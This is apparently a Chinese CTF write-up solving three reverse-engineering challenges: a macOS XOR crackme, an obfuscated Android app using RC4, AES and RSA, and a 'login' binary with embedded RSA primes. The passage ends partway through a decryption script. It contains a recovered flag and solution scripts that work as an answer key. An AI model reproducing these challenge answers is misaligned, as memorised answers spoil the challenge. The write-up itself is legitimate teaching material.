REVERSE
ezmac
IDA打开找到加密的主要部分- __int64 __fastcall sub_100000634(_QWORD a1, _QWORD a2, _QWORD a3, _QWORD a4, _QWORD a5, __int64 n57){ unsigned __int8 *v6; // x21 char v7; // w3 unsigned __int8 *v8; // x21 int v9; // t1 unsigned __int8 v11; // w3 unsigned __int8 *v12; // x21 while ( 1 ) { v9 = *v6; v8 = v6 + 1; v7 = v9; if ( !v9 ) break; v11 = v7 ^ n57; LOBYTE(n57) = n57 + 1; v12 = v8 - 1; *v12 = v11; v6 = v12 + 1; } return sub_100000654();}
复制代码 简单的加密逻辑可以写脚本了- # 密文数据(十六进制)ciphertext = [ 0x7D, 0x7B, 0x68, 0x7F, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76, 0x75, 0x22, 0x26, 0x7B, 0x7C, 0x7E, 0x78, 0x7A, 0x2E, 0x2D, 0x7F, 0x2D]# 起始密钥key = 57# 解密每个字节flag_chars = []for i, byte in enumerate(ciphertext): # 使用当前密钥进行XOR解密 decrypted = byte ^ (key + i) flag_chars.append(chr(decrypted))# 组合成字符串flag = ''.join(flag_chars)print(f"Flag: {flag}")
复制代码 Flag: DASCTF{83c720da35436cc0}
Androidfile
下载附件打开找到mainactivity- package com.dasctf.androidfile;import B.h;import R0.c;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.J;import androidx.activity.K;import androidx.activity.p;import androidx.activity.w;import c0.C0121a;import f.AbstractActivityC0139h;import f.C0138g;import i0.ViewOnClickListenerC0168a;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0139h { /* renamed from: A, reason: collision with root package name */ public TextView f1684A; /* renamed from: y, reason: collision with root package name */ public Button f1685y; /* renamed from: z, reason: collision with root package name */ public TextView f1686z; static { System.loadLibrary(w.i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")); } public MainActivity() { this.f739d.f1683b.f("androidx:appcompat", new C0121a(this)); i(new C0138g(this)); } public static String A() { String i2 = w.i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n"); StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i3 = 0; i3 < 16; i3++) { stringBuffer.append(i2.charAt(random.nextInt(i2.length()))); } return stringBuffer.toString(); } public static String C(String str, String str2, String str3) { byte[] bytes = str2.getBytes(); byte[] bytes2 = str3.getBytes(); SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, w.i("Udks\n", "EJx/huJaZmg=\n")); IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2); Cipher cipher = Cipher.getInstance(w.i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n")); cipher.init(1, secretKeySpec, ivParameterSpec); return Base64.encodeToString(cipher.doFinal(str.getBytes(w.i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0); } public static String D(String str) { byte[] bytes = str.getBytes(); PublicKey generatePublic = KeyFactory.getInstance(w.i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(w.i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0))); Cipher cipher = Cipher.getInstance(w.i("sSby\n", "43WztTWiQRk=\n")); cipher.init(1, generatePublic); return Base64.encodeToString(cipher.doFinal(bytes), 0); } /* JADX INFO: Access modifiers changed from: private */ public native String a_p(String str); /* JADX WARN: Multi-variable type inference failed */ /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */ /* JADX WARN: Type inference failed for: r10v24 */ /* JADX WARN: Type inference failed for: r10v25 */ /* JADX WARN: Type inference failed for: r10v26 */ /* JADX WARN: Type inference failed for: r10v27 */ /* JADX WARN: Type inference failed for: r10v28 */ @Override // f.AbstractActivityC0139h, androidx.activity.n, y.f, android.app.Activity public final void onCreate(Bundle bundle) { h hVar; super.onCreate(bundle); int i2 = p.f753a; J j2 = J.f705a; K k2 = new K(0, 0, j2); K k3 = new K(p.f753a, p.f754b, j2); View decorView = getWindow().getDecorView(); c.d(decorView, "window.decorView"); Resources resources = decorView.getResources(); c.d(resources, "view.resources"); boolean booleanValue = ((Boolean) j2.b(resources)).booleanValue(); Resources resources2 = decorView.getResources(); c.d(resources2, "view.resources"); boolean booleanValue2 = ((Boolean) j2.b(resources2)).booleanValue(); int i3 = Build.VERSION.SDK_INT; if (i3 >= 30) { hVar = new Object(); } else if (i3 >= 29) { hVar = new Object(); } else if (i3 >= 28) { hVar = new Object(); } else if (i3 >= 26) { hVar = new Object(); } else { hVar = new Object(); } Window window = getWindow(); c.d(window, "window"); hVar.C0(k2, k3, window, decorView, booleanValue, booleanValue2); Window window2 = getWindow(); c.d(window2, "window"); hVar.d(window2); setContentView(R.layout.activity_main); this.f1685y = (Button) findViewById(R.id.mybutton1); this.f1686z = (TextView) findViewById(R.id.edit_text_1); this.f1684A = (TextView) findViewById(R.id.edit_text_2); String i4 = w.i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n"); w.i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n"); this.f1685y.setOnClickListener(new ViewOnClickListenerC0168a(this, A(), i4, A())); }}
复制代码 可以看到是有混淆的用jadx自带的去混淆功能
去混淆后是- package com.dasctf.androidfile;import android.content.res.Resources;import android.os.Build;import android.os.Bundle;import android.util.Base64;import android.view.View;import android.view.Window;import android.widget.Button;import android.widget.TextView;import androidx.activity.AbstractC0426p;import androidx.activity.AbstractC0433w;import androidx.activity.C0409J;import androidx.activity.C0410K;import java.security.KeyFactory;import java.security.PublicKey;import java.security.spec.X509EncodedKeySpec;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import p002B.AbstractC0027h;import p033R0.AbstractC0330c;import p053c0.C0618a;import p057f.AbstractActivityC0681h;import p057f.C0680g;import p062i0.ViewOnClickListenerC0766a;/* loaded from: classes.dex */public class MainActivity extends AbstractActivityC0681h { /* renamed from: A */ public TextView f2053A; /* renamed from: y */ public Button f2054y; /* renamed from: z */ public TextView f2055z; static { System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")); } public MainActivity() { this.f921d.f2051b.m1674f("androidx:appcompat", new C0618a(this)); m960i(new C0680g(this)); } /* renamed from: A */ public static String m1679A() { String m986i = AbstractC0433w.m986i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n"); StringBuffer stringBuffer = new StringBuffer(); Random random = new Random(); for (int i2 = 0; i2 < 16; i2++) { stringBuffer.append(m986i.charAt(random.nextInt(m986i.length()))); } return stringBuffer.toString(); } /* renamed from: C */ public static String m1681C(String str, String str2, String str3) { byte[] bytes = str2.getBytes(); byte[] bytes2 = str3.getBytes(); SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, AbstractC0433w.m986i("Udks\n", "EJx/huJaZmg=\n")); IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2); Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n")); cipher.init(1, secretKeySpec, ivParameterSpec); return Base64.encodeToString(cipher.doFinal(str.getBytes(AbstractC0433w.m986i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0); } /* renamed from: D */ public static String m1682D(String str) { byte[] bytes = str.getBytes(); PublicKey generatePublic = KeyFactory.getInstance(AbstractC0433w.m986i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(AbstractC0433w.m986i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0))); Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("sSby\n", "43WztTWiQRk=\n")); cipher.init(1, generatePublic); return Base64.encodeToString(cipher.doFinal(bytes), 0); } /* JADX INFO: Access modifiers changed from: private */ public native String a_p(String str); /* JADX WARN: Multi-variable type inference failed */ /* JADX WARN: Type inference failed for: r10v10, types: [B.h] */ /* JADX WARN: Type inference failed for: r10v24 */ /* JADX WARN: Type inference failed for: r10v25 */ /* JADX WARN: Type inference failed for: r10v26 */ /* JADX WARN: Type inference failed for: r10v27 */ /* JADX WARN: Type inference failed for: r10v28 */ @Override // p057f.AbstractActivityC0681h, androidx.activity.AbstractActivityC0424n, p092y.AbstractActivityC1040f, android.app.Activity public final void onCreate(Bundle bundle) { AbstractC0027h abstractC0027h; super.onCreate(bundle); int i2 = AbstractC0426p.f938a; C0409J c0409j = C0409J.f881a; C0410K c0410k = new C0410K(0, 0, c0409j); C0410K c0410k2 = new C0410K(AbstractC0426p.f938a, AbstractC0426p.f939b, c0409j); View decorView = getWindow().getDecorView(); AbstractC0330c.m874d(decorView, "window.decorView"); Resources resources = decorView.getResources(); AbstractC0330c.m874d(resources, "view.resources"); boolean booleanValue = ((Boolean) c0409j.mo844b(resources)).booleanValue(); Resources resources2 = decorView.getResources(); AbstractC0330c.m874d(resources2, "view.resources"); boolean booleanValue2 = ((Boolean) c0409j.mo844b(resources2)).booleanValue(); int i3 = Build.VERSION.SDK_INT; if (i3 >= 30) { abstractC0027h = new Object(); } else if (i3 >= 29) { abstractC0027h = new Object(); } else if (i3 >= 28) { abstractC0027h = new Object(); } else if (i3 >= 26) { abstractC0027h = new Object(); } else { abstractC0027h = new Object(); } Window window = getWindow(); AbstractC0330c.m874d(window, "window"); abstractC0027h.mo155C0(c0410k, c0410k2, window, decorView, booleanValue, booleanValue2); Window window2 = getWindow(); AbstractC0330c.m874d(window2, "window"); abstractC0027h.mo177d(window2); setContentView(R.layout.activity_main); this.f2054y = (Button) findViewById(R.id.mybutton1); this.f2055z = (TextView) findViewById(R.id.edit_text_1); this.f2053A = (TextView) findViewById(R.id.edit_text_2); String m986i = AbstractC0433w.m986i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n"); AbstractC0433w.m986i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n"); this.f2054y.setOnClickListener(new ViewOnClickListenerC0766a(this, m1679A(), m986i, m1679A())); }}
复制代码 那么看到关键的是方法m986i和ViewOnClickListenerC0766a
打开看看分别是- public static String m986i(String str, String str2) { byte[] m2057a = AbstractC0798a.m2057a(str); byte[] m2057a2 = AbstractC0798a.m2057a(str2); int length = m2057a.length; int length2 = m2057a2.length; int i2 = 0; int i3 = 0; while (i2 < length) { if (i3 >= length2) { i3 = 0; } m2057a[i2] = (byte) (m2057a[i2] ^ m2057a2[i3]); i2++; i3++; } return new String(m2057a, StandardCharsets.UTF_8);
复制代码 m986i主要就是把两个base64的参数进行异或可以分别异或得到相应的内容.会发现是 System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));加载native代码的地方打开看看- __int64 __fastcall Java_com_dasctf_androidfile_MainActivity_a_1p(__int64 a1, __int64 a2, __int64 a3){ unsigned __int64 n256; // r15 const char *s; // r14 size_t v6; // rcx unsigned __int64 v7; // rsi __int64 n256_1; // rax signed int v9; // edx int v10; // esi int v11; // edx int v12; // edi int v13; // r8d int v14; // edx signed int v15; // eax __int64 v16; // rdx unsigned __int8 v17; // si int v18; // r8d char v19; // r8 int v20; // eax __int64 v21; // rax _QWORD v24[33]; // [rsp+8h] [rbp-230h] BYREF _OWORD v25[16]; // [rsp+110h] [rbp-128h] BYREF unsigned __int64 v26; // [rsp+218h] [rbp-20h] v26 = __readfsqword(0x28u); v24[0] = 'ESREVER'; n256 = 0; s = (*(*a1 + 1352LL))(a1, a3, 0); v6 = strlen(s); memset(v25, 0, sizeof(v25)); v7 = 1; do { *(&v24[1] + n256) = n256; *(v25 + n256) = *(v24 + n256 + -7 * (n256 / 7)); *(&v24[1] + n256 + 1) = n256 + 1; *(v25 + n256 + 1) = *(v24 + n256 + -7 * (v7 / 7) + 1); v7 += 2LL; n256 += 2LL; } while ( n256 != 256 ); n256_1 = 0; v9 = 0; do { v10 = *(&v24[1] + n256_1); v11 = v10 + v9; v12 = *(v25 + n256_1); v13 = v12 + v11 + 255; v14 = v12 + v11; if ( v14 >= 0 ) v13 = v14; v9 = v14 - (v13 & 0xFFFFFF00); *(&v24[1] + n256_1) = *(&v24[1] + v9); *(&v24[1] + v9) = v10; ++n256_1; } while ( n256_1 != 256 ); if ( v6 ) { v15 = 0; v16 = 0; v17 = 0; do { v18 = v15 + 256; if ( v15 + 1 >= 0 ) v18 = v15 + 1; v15 = v15 - (v18 & 0xFFFFFF00) + 1; v19 = *(&v24[1] + v15); v17 += v19; *(&v24[1] + v15) = *(&v24[1] + v17); *(&v24[1] + v17) = v19; s[v16++] ^= *(&v24[1] + (*(&v24[1] + v15) + v19)); } while ( v6 != v16 ); } v20 = strlen(s); v21 = base64_encode(s, v20); return (*(*a1 + 1336LL))(a1, v21, __readfsqword(0x28u));}
复制代码 很简单的逻辑经过标准RC4和BASE64的加密逻辑,RC4的密钥是REVERSE- package p062i0;import android.util.Log;import android.view.View;import android.widget.TextView;import android.widget.Toast;import androidx.activity.AbstractC0433w;import com.dasctf.androidfile.MainActivity;/* renamed from: i0.a *//* loaded from: classes.dex */public final class ViewOnClickListenerC0766a implements View.OnClickListener { /* renamed from: a */ public final /* synthetic */ String f2939a; /* renamed from: b */ public final /* synthetic */ String f2940b; /* renamed from: c */ public final /* synthetic */ MainActivity f2941c; public ViewOnClickListenerC0766a(MainActivity mainActivity, String str, String str2, String str3) { this.f2941c = mainActivity; this.f2939a = str; this.f2940b = str3; } @Override // android.view.View.OnClickListener public final void onClick(View view) { String a_p; String str = this.f2940b; String str2 = this.f2939a; MainActivity mainActivity = this.f2941c; String charSequence = mainActivity.f2055z.getText().toString(); if (charSequence.length() != 40) { Toast.makeText(mainActivity, AbstractC0433w.m986i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n"), 1).show(); return; } try { String str3 = AbstractC0433w.m986i("WpRWV0c7\n", "P/o9Mj5kh8w=\n") + MainActivity.m1682D(str2) + AbstractC0433w.m986i("apcRF1g=\n", "D/l4YQdZTS4=\n") + MainActivity.m1682D(str); String m1681C = MainActivity.m1681C(charSequence, str2, str); TextView textView = mainActivity.f2053A; StringBuilder sb = new StringBuilder(); a_p = mainActivity.a_p(str3); sb.append(a_p); sb.append(AbstractC0433w.m986i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")); sb.append(m1681C); textView.setText(sb.toString()); } catch (Exception unused) { Log.i(AbstractC0433w.m986i("Pea57E0g2gg0+bHuTA==\n", "UJ/YgilStWE=\n"), AbstractC0433w.m986i("Rb1FBTs=\n", "IM83akkWYKo=\n")); } }}
复制代码 如图的逻辑.

写脚本把异或的恢复- import base64def w_i(s1: str, s2: str) -> str: """实现w.i()方法:两个base64字符串解码后循环异或""" # 清理字符串,移除换行符和空格 s1 = ''.join(s1.split()) s2 = ''.join(s2.split()) # Base64解码 try: b1 = base64.b64decode(s1) b2 = base64.b64decode(s2) except Exception as e: return f"Base64解码错误: {e}" # 循环异或 result = bytearray() for i in range(len(b1)): result.append(b1[i] ^ b2[i % len(b2)]) # 尝试解码为UTF-8字符串 try: return result.decode('utf-8') except UnicodeDecodeError: # 如果是二进制数据,以十六进制显示 return f"[Binary Data: {result.hex()}]"# 测试字符集字符串的解密print("=== 测试字符集解密 ===")charset_result = w_i( "EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n")print(f"字符集解密结果: {charset_result}")print(f"字符集长度: {len(charset_result)}")print("\n=== 解密其他字符串 ===")# 1. 库名lib_result = w_i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")print(f"1. 库名: {lib_result}")# 2. URL部分url1 = w_i("WpRWV0c7\n", "P/o9Mj5kh8w=\n")url2 = w_i("apcRF1g=\n", "D/l4YQdZTS4=\n")print(f"2. URL第一部分: '{url1}'")print(f"3. URL第二部分: '{url2}'")# 3. 固定后缀suffix = w_i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")print(f"4. 固定后缀: '{suffix}'")# 4. Toast消息toast = w_i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n")print(f"5. Toast消息: '{toast}'")# 5. i4字符串i4_result = w_i( "ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zjgm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCHKzBPPuqOaJMDOU8akvA=", "KeRGeA5Lr80=")print(f"6. i4字符串: {i4_result}")# 6. 长字符串long_result = w_i( "r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SFUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYOesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjrAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8aIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZReneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4eaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNjsVkU2g==", "4iEgikATCzE=")print(f"7. 长字符串: {long_result[:200]}...")
复制代码 得到的信息:
- 库名: androidfile
- URL第一部分: 'enkey_'
- URL第二部分: 'eniv_'
- 固定后缀: ''
- Toast消息: 'length error'
附件就是密文了,并且encryptinpu就是需要的密文,那么前面的就应该是AES的iv和key
接下来就是解密了.
得到结果.
login
IDA打开可以看到
有一个使用RC4加密所有网络数据,密钥为qwertyui
sub_5302是响应的函数
主要的加密位置
其中的参数已经在注释了.- _d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec2631027 = sub_5042( *&off_90A0,// "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3" *&off_90A8,// "10001" *&off_90B0,// "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f" *&off_90B8,// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad" *&off_90C0,// "0" s_, ptr);// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"
复制代码 那就直接解RSA其中- 公钥n = 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3e = 10001私钥的参数p = b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667fq = d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad
复制代码 然后在 sub_49DD(s__2, 42, s__1, s_, p_req_login...);中的函数往下找下去可以找到AES的相关账号的登录参数
 - from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP, AESn = int("9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3", 16)e = 0x10001d = int("28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69", 16)p = int("b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f", 16)q = int("d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad", 16)byte_C1A0 = bytes([ 0x16, 0x38, 0xE0, 0xEB, 0x93, 0x61, 0x40, 0xB5, 0x52, 0x70, 0x33, 0x29, 0x2C, 0xBE, 0xFC, 0xD7, 0x3B, 0x55, 0xCF, 0xC7, 0xFB, 0x79, 0xDF, 0x51, 0xAE, 0x37, 0x68, 0xA0, 0xDD, 0x9C, 0x84, 0xAE, 0x45, 0x80, 0xE4, 0x7A, 0x51, 0x33, 0xB4, 0x25, 0xF4, 0xC9, 0x3E, 0xAC, 0x97, 0xE4, 0xB1, 0xAA, 0x0B, 0x4C, 0xD3, 0x05, 0x89, 0xD0, 0x04, 0xF6, 0xD0, 0xD1, 0x9F, 0xCB, 0xC7, 0x09, 0xE8, 0x6C, 0xC2, 0x99, 0x6B, 0x43, 0x3D, 0x29, 0xF6, 0x50, 0xB6, 0x99, 0x87, 0xA4, 0x66, 0xF0, 0x5B, 0xEF, 0x7F, 0x69, 0x94, 0x58, 0x60, 0xDC, 0xC4, 0x47, 0x42, 0xA5, 0x11, 0xF3, 0x62, 0x13, 0x85, 0xC8, 0x9F, 0xBD, 0x4D, 0x73, 0x15, 0x36, 0x15, 0x78, 0x96, 0x34, 0xB2, 0x5C, 0xFC, 0x31, 0x51, 0xA4, 0x11, 0x5B, 0xC3, 0x0C, 0x96, 0x97, 0x9E, 0x5F, 0x96, 0x52, 0x90, 0xF3, 0x6A, 0x86, 0x3E, 0x33, 0x78, 